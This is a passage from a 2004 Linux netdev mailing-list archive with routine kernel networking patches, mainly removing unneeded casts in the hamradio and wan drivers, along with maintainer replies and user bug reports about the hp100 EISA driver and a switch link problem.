nf_bridge_pad(skb); +#else + ll_rs = LL_RESERVED_SPACE(rt->u.dst.dev); +#endif /* * Fragment the datagram. */ @@ -588,7 +597,7 @@ slow_path: * Allocate buffer. */ - if ((skb2 = alloc_skb(len+hlen+LL_RESERVED_SPACE(rt->u.dst.dev), GFP_ATOMIC)) == NULL) { + if ((skb2 = alloc_skb(len+hlen+ll_rs, GFP_ATOMIC)) == NULL) { NETDEBUG(printk(KERN_INFO "IP: frag: no memory for new fragment!\n")); err = -ENOMEM; goto fail; @@ -599,7 +608,7 @@ slow_path: */ ip_copy_metadata(skb2, skb); - skb_reserve(skb2, LL_RESERVED_SPACE(rt->u.dst.dev)); + skb_reserve(skb2, ll_rs); skb_put(skb2, len + hlen); skb2->nh.raw = skb2->data; skb2->h.raw = skb2->data + hlen; From jgarzik@pobox.com Sun Feb 29 10:30:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 10:30:15 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TIUBKO025247 for ; Sun, 29 Feb 2004 10:30:11 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1820 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AxVhY-0001R7-RE; Sun, 29 Feb 2004 18:30:08 +0000 Message-ID: <40422FA4.3000606@pobox.com> Date: Sun, 29 Feb 2004 13:29:56 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: jes@wildopensource.com, netdev@oss.sgi.com Subject: Re: [PATCH] kill acient compat cruft from acenic References: <20040227202510.GA19947@lst.de> In-Reply-To: <20040227202510.GA19947@lst.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3654 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied both From jgarzik@pobox.com Sun Feb 29 10:53:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 10:53:37 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TIrVKO025745 for ; Sun, 29 Feb 2004 10:53:32 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1837 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AxW4A-0001gB-Og; Sun, 29 Feb 2004 18:53:30 +0000 Message-ID: <4042351F.9070703@pobox.com> Date: Sun, 29 Feb 2004 13:53:19 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Kevin Curtis CC: netdev@oss.sgi.com, davem@redhat.com Subject: Re: Update FarSync WAN driver in 2.6 References: <7C078C66B7752B438B88E11E5E20E72E25CBF0@general.hq.farsitecommunications.com> In-Reply-To: <7C078C66B7752B438B88E11E5E20E72E25CBF0@general.hq.farsitecommunications.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3655 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev hum... Patch looks OK to appy, but does not apply against the latest 2.6.x kernel. Also, it is possible to split your patch into two pieces: one patch with nothing but indentation/whitespace cleanups, and the other patch with functional changes? Jeff From jes@trained-monkey.org Sun Feb 29 11:10:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 11:10:39 -0800 (PST) Received: from jaguar.mkp.net (jaguar.mkp.net [192.139.46.146]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TJAWKO026221 for ; Sun, 29 Feb 2004 11:10:33 -0800 Received: from jes by jaguar.mkp.net with local (Exim 3.35 #1) id 1AxWKZ-0001Py-00; Sun, 29 Feb 2004 14:10:27 -0500 To: Christoph Hellwig Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] kill acient compat cruft from acenic References: <20040227202510.GA19947@lst.de> <403FAECD.3090203@pobox.com> <20040227205729.GB20398@lst.de> <20040228182907.GA2930@lst.de> From: Jes Sorensen Date: 29 Feb 2004 14:10:26 -0500 In-Reply-To: <20040228182907.GA2930@lst.de> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3656 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jes@wildopensource.com Precedence: bulk X-list: netdev >>>>> "Christoph" == Christoph Hellwig writes: Christoph> On Sat, Feb 28, 2004 at 01:27:46PM -0500, Jes Sorensen Christoph> wrote: >> Yeah I am happy to kill support for < 2.4.18 in the driver. But >> don't add that offset_in_page macro please, it's butt ugly. Christoph> I didn't add it - it's that way in 2.6, I just provided a Christoph> variant for 2.4 (which is indetical to what you open-code Christoph> in your 2.4 driver) Grmbl, Gains us nothing and is butt ugly, but well ;-( Not going to blame you for that then, though I'd prefer a patch pulling out the macro use so one can see what the code does instead. Anyway, bigger fish to fry. Jes From falcon@muflon.linux.pl Sun Feb 29 13:06:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 13:06:25 -0800 (PST) Received: from don.falconne.eu.org (postfix@pc74.torun.sdi.tpnet.pl [213.25.214.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TL6KKO030549 for ; Sun, 29 Feb 2004 13:06:21 -0800 Received: from localhost (localhost [127.0.0.1]) by don.falconne.eu.org (Postfix) with ESMTP id 053031805897 for ; Sun, 29 Feb 2004 22:06:18 +0100 (CET) Received: from don.falconne.eu.org ([127.0.0.1]) by localhost (don.falconne.eu.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 24316-07 for ; Sun, 29 Feb 2004 22:06:17 +0100 (CET) Received: from pc74.torun.sdi.tpnet.pl (pc74.torun.sdi.tpnet.pl [213.25.214.74]) by don.falconne.eu.org (Postfix) with ESMTP id D064C1804C37 for ; Sun, 29 Feb 2004 22:06:17 +0100 (CET) Date: Sun, 29 Feb 2004 22:06:16 +0100 (CET) From: =?iso-8859-2?Q?Pawe=B3_Soko=B3owski?= X-X-Sender: falcon@don.falconne.eu.org Reply-To: pawel.sokolowski@muflon.linux.pl To: netdev@oss.sgi.com Subject: 2.6.4-rc1 + hp100 EISA, not working Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-2 X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at don.falconne.eu.org Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1TL6KKO030549 X-archive-position: 3657 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: falcon@muflon.linux.pl Precedence: bulk X-list: netdev Hi. I have HP 10/100VG AnyLan EISA card. My machine is a HP Netserver 4d/66LE. 486, EISA only. After latest changes in hp100 driver, it stopped working for me. It oopsed as module on 2.6.2 (and I experienced kernel panic when hp100 was build in) but after Oops I was able to get interface up and working: hp100: eth0: HP J2577 at 0x2c38, IRQ 5, EISA bus, 128k SRAM (rx/tx 75%). hp100: eth0: Memory area at 0xd0000-0xd3fff (virtual base c00d0000). hp100: eth0: Adapter is attached to 10Mb/s network (10baseT). On 2.6.3 it just Oopsed and didn't work. On 2.6.4-rc1 it does not oops but it doesn't work (neither as module nor as build in kernel). Module loads cleanly but does nothing - I can't get interface up, nothing in dmesg. If you need more details, logs etc., please tell me what you need to know. I don't know if it's related to this problem but at earlier stage of booting I'm getting following messages: EISA: Probing bus 0 at eisa0 EISA: Mainboard HWPC061 detected. EISA: slot 2 : HWP1940 detected (disabled). EISA: Detected 1 card. Card works fine on 2.4.* (tested on 2.4.16, 2.4.24,25,26-pre1) : hp100: eth0: HP J2577 at 0x2c38, IRQ 5, EISA bus, 128k SRAM (rx/tx 75%%). hp100: eth0: Memory area at 0xd0000-0xd3fff (virtual base c00d0000). hp100: eth0: Adapter is attached to 10Mb/s network. -- ,d$$$$$P.d$$b d$P ,gd$$$$$,gd$$$$g. ,$$$b._$$P RLU #172534 ggggggggggggg. ggs ,gg ,gg ,gg ggp,ggggg Pawe³ Soko³owski d$P""""'""""Y$$. d$P d$P d$P ,d$Pd$P `Y$$P falcon@muflon.linux.pl d$P Y$$d$$$$$P`Y$$$$$'`Y$$$$$P'd$P d$P Replicant (M) Des: Falcon From johnp@marine-boy.nu Sun Feb 29 13:30:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 13:31:07 -0800 (PST) Received: from ocelot.spots.ab.ca (ocelot.spots.ab.ca [209.115.174.244]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TLUvKO031162 for ; Sun, 29 Feb 2004 13:30:58 -0800 Received: from spots.ca (localhost [127.0.0.1]) by ocelot.spots.ab.ca (8.12.8/8.12.8) with ESMTP id i1TLUtX2004456; Sun, 29 Feb 2004 14:30:55 -0700 From: "john" To: Andrewm@uow.edu.au, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Problems getting a stable 100 megabit connection with linksys etherfast switch Date: Sun, 29 Feb 2004 14:30:55 -0700 Message-Id: <20040229212053.M47845@spots.ca> X-Mailer: Open WebMail 2.30 20040103 X-OriginatingIP: 209.115.173.10 (johnp) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=OPENWEBMAIL_ATT_0.477655849958868" X-Virus-Scanned: clamd / ClamAV version 0.67, clamav-milter version 0.66n X-archive-position: 3658 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: johnp@marine-boy.nu Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=OPENWEBMAIL_ATT_0.477655849958868 Content-Type: text/plain; charset=iso-8859-1 Hi, I am having problems getting a stable connection with my linux machines when trying to connect them at 100 megabit speeds to a linksys etherfast switch. I have attached some diagnostic outputs for your review. I hope that someone can help me with this problem. I believe using a managed switch will solve the problem, but I don't want to have to spend $1000.00 to fix this problem, when I should be able to obtain a stable connection with the equipment I am currently using. Thanks John ------=OPENWEBMAIL_ATT_0.477655849958868 Content-Type: application/octet-stream; name="100mb_is_slow.20040229" Content-Disposition: attachment; filename="100mb_is_slow.20040229" Content-Transfer-Encoding: base64 KioqKioqKioqKioqKiogIEtlcm5lbCB2ZXJzaW9uICAgdW5hbWUgLWEKTGludXggc2lkIDIuNC4y NCAjMSBTTVAgU3VuIEZlYiAxNSAxNzoyNTo0MSBNU1QgMjAwNCBpNjg2IHVua25vd24KCgoKCioq KioqKioqKioqKioqIGxzcGNpIC12eCBvdXRwdXQKMDA6MDkuMCBFdGhlcm5ldCBjb250cm9sbGVy OiBMaW5rc3lzIE5ldHdvcmsgRXZlcnl3aGVyZSBGYXN0IEV0aGVybmV0IDEwLzEwMCBtb2RlbCBO QzEwMCAocmV2IDExKQoJU3Vic3lz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TUgc2lkIGtlcm5lbDogbmZzOiBzZXJ2ZXIgam9objIucG9zdC5mYW0g T0sKRmViIDI5IDE0OjA3OjUwIHNpZCBrZXJuZWw6IG5mczogc2VydmVyIGpvaG4yLnBvc3QuZmFt IG5vdCByZXNwb25kaW5nLCBzdGlsbCB0cnlpbmcKRmViIDI5IDE0OjA3OjUwIHNpZCBrZXJuZWw6 IG5mczogc2VydmVyIGpvaG4yLnBvc3QuZmFtIE9LCkZlYiAyOSAxNDowNzo1MCBzaWQga2VybmVs OiBuZnM6IHNlcnZlciBqb2huMi5wb3N0LmZhbSBPSwpGZWIgMjkgMTQ6MDg6NTcgc2lkIGtlcm5l bDogbmZzOiBzZXJ2ZXIgam9objIucG9zdC5mYW0gbm90IHJlc3BvbmRpbmcsIHN0aWxsIHRyeWlu ZwpGZWIgMjkgMTQ6MDg6NTcgc2lkIGtlcm5lbDogbmZzOiBzZXJ2ZXIgam9objIucG9zdC5mYW0g T0sKCgo= ------=OPENWEBMAIL_ATT_0.477655849958868-- From rddunlap@osdl.org Sun Feb 29 15:09:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:09:29 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TN9QKO000314 for ; Sun, 29 Feb 2004 15:09:26 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TN9HE03772; Sun, 29 Feb 2004 15:09:17 -0800 Date: Sun, 29 Feb 2004 15:05:26 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: [janitor] don't need lmc header file Message-Id: <20040229150526.4aa20268.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3660 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev This file is practically empty and is useless. -- ~Randy From: Domen Puncer drivers/net/wan/lmc/lmc_proto_raw.h | 4 ---- drivers/net/wan/lmc/lmc_proto.c | 1 - 2 files changed, 5 deletions(-) diff -puN drivers/net/wan/lmc/lmc_proto.c~lmc_proto_raw_h_rm drivers/net/wan/lmc/lmc_proto.c --- linux-263-229/drivers/net/wan/lmc/lmc_proto.c~lmc_proto_raw_h_rm 2004-02-29 13:36:19.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/wan/lmc/lmc_proto.c 2004-02-29 13:36:19.000000000 -0800 @@ -50,7 +50,6 @@ #include "lmc_debug.h" #include "lmc_ioctl.h" #include "lmc_proto.h" -//#include "lmc_proto_raw.h" /* * The compile-time variable SPPPSTUP causes the module to be diff -puN -L drivers/net/wan/lmc/lmc_proto_raw.h drivers/net/wan/lmc/lmc_proto_raw.h~lmc_proto_raw_h_rm /dev/null --- linux-263-229/drivers/net/wan/lmc/lmc_proto_raw.h +++ /dev/null 2004-01-21 13:30:42.000000000 -0800 @@ -1,4 +0,0 @@ -#ifndef _LMC_PROTO_RAW_H_ -#define _LMC_PROTO_RAW_H_ - -#endif _ From rddunlap@osdl.org Sun Feb 29 15:09:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:09:13 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TN96KO032758 for ; Sun, 29 Feb 2004 15:09:07 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TN8tE03657; Sun, 29 Feb 2004 15:08:57 -0800 Date: Sun, 29 Feb 2004 15:05:04 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: [janitor] "Lots of unnecessary casts in drivers can be removed" Message-Id: <20040229150504.17f13e10.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3659 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Dave Jones wrote: - Lots of unnecessary casts in drivers can be removed. (from the KJ TODO list). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Carlo Perassi Carlo sent patches to remove unneeded casts from 90 files. Most of them are in drivers/net/ and will follow... (not one per file but grouped into families). [except for tokenring/ -- I have to rediff it.] -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:10:41 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAaKO000673 for ; Sun, 29 Feb 2004 15:10:36 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNATE03982; Sun, 29 Feb 2004 15:10:29 -0800 Date: Sun, 29 Feb 2004 14:35:10 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in /hamradio/ Message-Id: <20040229143510.0eb97123.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3661 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/hamradio/baycom_epp.c | 4 ++-- drivers/net/hamradio/baycom_par.c | 8 ++++---- drivers/net/hamradio/baycom_ser_fdx.c | 6 +++--- drivers/net/hamradio/baycom_ser_hdx.c | 6 +++--- 4 files changed, 12 insertions(+), 12 deletions(-) diff -puN drivers/net/hamradio/baycom_epp.c~net_hamradio_casts drivers/net/hamradio/baycom_epp.c --- linux-263-229/drivers/net/hamradio/baycom_epp.c~net_hamradio_casts 2004-02-29 13:55:12.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/hamradio/baycom_epp.c 2004-02-29 13:55:12.000000000 -0800 @@ -646,7 +646,7 @@ static int transmit(struct baycom_state static void do_rxpacket(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; struct sk_buff *skb; unsigned char *cp; unsigned pktlen; @@ -705,7 +705,7 @@ static void do_rxpacket(struct net_devic static int receive(struct net_device *dev, int cnt) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; struct parport *pp = bc->pdev->port; unsigned int bitbuf, notbitstream, bitstream, numbits, state; unsigned char tmp[128]; diff -puN drivers/net/hamradio/baycom_par.c~net_hamradio_casts drivers/net/hamradio/baycom_par.c --- linux-263-229/drivers/net/hamradio/baycom_par.c~net_hamradio_casts 2004-02-29 13:55:12.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/hamradio/baycom_par.c 2004-02-29 13:55:12.000000000 -0800 @@ -272,7 +272,7 @@ static __inline__ void par96_rx(struct n static void par96_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; if (!dev || !bc || bc->hdrv.magic != HDLCDRV_MAGIC) return; @@ -302,7 +302,7 @@ static void par96_interrupt(int irq, voi static void par96_wakeup(void *handle) { struct net_device *dev = (struct net_device *)handle; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; printk(KERN_DEBUG "baycom_par: %s: why am I being woken up?\n", dev->name); if (!parport_claim(bc->pdev)) @@ -313,7 +313,7 @@ static void par96_wakeup(void *handle) static int par96_open(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; struct parport *pp; if (!dev || !bc) @@ -362,7 +362,7 @@ static int par96_open(struct net_device static int par96_close(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; struct parport *pp; if (!dev || !bc) diff -puN drivers/net/hamradio/baycom_ser_fdx.c~net_hamradio_casts drivers/net/hamradio/baycom_ser_fdx.c --- linux-263-229/drivers/net/hamradio/baycom_ser_fdx.c~net_hamradio_casts 2004-02-29 13:55:12.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/hamradio/baycom_ser_fdx.c 2004-02-29 13:55:12.000000000 -0800 @@ -281,7 +281,7 @@ static __inline__ void ser12_rx(struct n static irqreturn_t ser12_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; struct timeval tv; unsigned char iir, msr; unsigned int txcount = 0; @@ -407,7 +407,7 @@ static enum uart ser12_check_uart(unsign static int ser12_open(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; enum uart u; if (!dev || !bc) @@ -466,7 +466,7 @@ static int ser12_open(struct net_device static int ser12_close(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; if (!dev || !bc) return -EINVAL; diff -puN drivers/net/hamradio/baycom_ser_hdx.c~net_hamradio_casts drivers/net/hamradio/baycom_ser_hdx.c --- linux-263-229/drivers/net/hamradio/baycom_ser_hdx.c~net_hamradio_casts 2004-02-29 13:55:12.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/hamradio/baycom_ser_hdx.c 2004-02-29 13:55:12.000000000 -0800 @@ -375,7 +375,7 @@ static inline void ser12_rx(struct net_d static irqreturn_t ser12_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; unsigned char iir; if (!dev || !bc || bc->hdrv.magic != HDLCDRV_MAGIC) @@ -468,7 +468,7 @@ static enum uart ser12_check_uart(unsign static int ser12_open(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; enum uart u; if (!dev || !bc) @@ -511,7 +511,7 @@ static int ser12_open(struct net_device static int ser12_close(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = dev->priv; if (!dev || !bc) return -EINVAL; _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:10:46 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAdKO000703 for ; Sun, 29 Feb 2004 15:10:39 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAWE03996; Sun, 29 Feb 2004 15:10:32 -0800 Date: Sun, 29 Feb 2004 14:40:34 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in net/wan/ Message-Id: <20040229144034.2a99c7a7.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3663 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/wan/comx-hw-locomx.c | 6 +++--- drivers/net/wan/comx-hw-munich.c | 6 +++--- drivers/net/wan/comx.c | 2 +- drivers/net/wan/cosa.c | 2 +- drivers/net/wan/lapbether.c | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) diff -puN drivers/net/wan/comx.c~net_wan_casts drivers/net/wan/comx.c --- linux-263-229/drivers/net/wan/comx.c~net_wan_casts 2004-02-29 13:57:19.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/wan/comx.c 2004-02-29 13:57:19.000000000 -0800 @@ -379,7 +379,7 @@ int comx_rx(struct net_device *dev, stru static struct net_device_stats *comx_stats(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = dev->priv; return ch->current_stats; } diff -puN drivers/net/wan/comx-hw-locomx.c~net_wan_casts drivers/net/wan/comx-hw-locomx.c --- linux-263-229/drivers/net/wan/comx-hw-locomx.c~net_wan_casts 2004-02-29 13:57:19.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/wan/comx-hw-locomx.c 2004-02-29 13:57:19.000000000 -0800 @@ -97,7 +97,7 @@ static void locomx_rx(struct z8530_chann static int LOCOMX_send_packet(struct net_device *dev, struct sk_buff *skb) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = dev->priv; struct locomx_data *hw = ch->HW_privdata; if (ch->debug_flags & DEBUG_HW_TX) { @@ -376,7 +376,7 @@ static int locomx_write_proc(struct file static int LOCOMX_init(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = dev->priv; struct locomx_data *hw; struct proc_dir_entry *new_file; @@ -449,7 +449,7 @@ cleanup_HW_privdata: static int LOCOMX_exit(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = dev->priv; ch->HW_access_board = NULL; ch->HW_release_board = NULL; diff -puN drivers/net/wan/comx-hw-munich.c~net_wan_casts drivers/net/wan/comx-hw-munich.c --- linux-263-229/drivers/net/wan/comx-hw-munich.c~net_wan_casts 2004-02-29 13:57:19.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/wan/comx-hw-munich.c 2004-02-29 13:57:19.000000000 -0800 @@ -933,7 +933,7 @@ static int slicecom_reset(struct net_dev static int MUNICH_send_packet(struct net_device *dev, struct sk_buff *skb) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = dev->priv; struct slicecom_privdata *hw = ch->HW_privdata; /* Send it to the debug facility too if needed: */ @@ -2656,7 +2656,7 @@ static int init_escape(struct comx_chann static int BOARD_init(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = dev->priv; struct slicecom_privdata *hw; struct proc_dir_entry *new_file; @@ -2772,7 +2772,7 @@ static int BOARD_init(struct net_device */ static int BOARD_exit(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = dev->priv; /* Free private data area */ // board = hw->boardnum + (ch->hardware == &pcicomhw ? pcicom_boards : slicecom_boards); diff -puN drivers/net/wan/cosa.c~net_wan_casts drivers/net/wan/cosa.c --- linux-263-229/drivers/net/wan/cosa.c~net_wan_casts 2004-02-29 13:57:19.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/wan/cosa.c 2004-02-29 13:57:19.000000000 -0800 @@ -1205,7 +1205,7 @@ static int cosa_sppp_ioctl(struct net_de int cmd) { int rv; - struct channel_data *chan = (struct channel_data *)dev->priv; + struct channel_data *chan = dev->priv; rv = cosa_ioctl_common(chan->cosa, chan, cmd, (unsigned long)ifr->ifr_data); if (rv == -ENOIOCTLCMD) { return sppp_do_ioctl(dev, ifr, cmd); diff -puN drivers/net/wan/lapbether.c~net_wan_casts drivers/net/wan/lapbether.c --- linux-263-229/drivers/net/wan/lapbether.c~net_wan_casts 2004-02-29 13:57:19.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/wan/lapbether.c 2004-02-29 13:57:19.000000000 -0800 @@ -269,7 +269,7 @@ static void lapbeth_disconnected(struct */ static struct net_device_stats *lapbeth_get_stats(struct net_device *dev) { - struct lapbethdev *lapbeth = (struct lapbethdev *)dev->priv; + struct lapbethdev *lapbeth = dev->priv; return &lapbeth->stats; } _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:10:45 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAdKO000701 for ; Sun, 29 Feb 2004 15:10:39 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAVE03990; Sun, 29 Feb 2004 15:10:31 -0800 Date: Sun, 29 Feb 2004 14:38:37 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in net/pcmcia/ Message-Id: <20040229143837.50d9fa1d.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3662 X-ecartis-version: 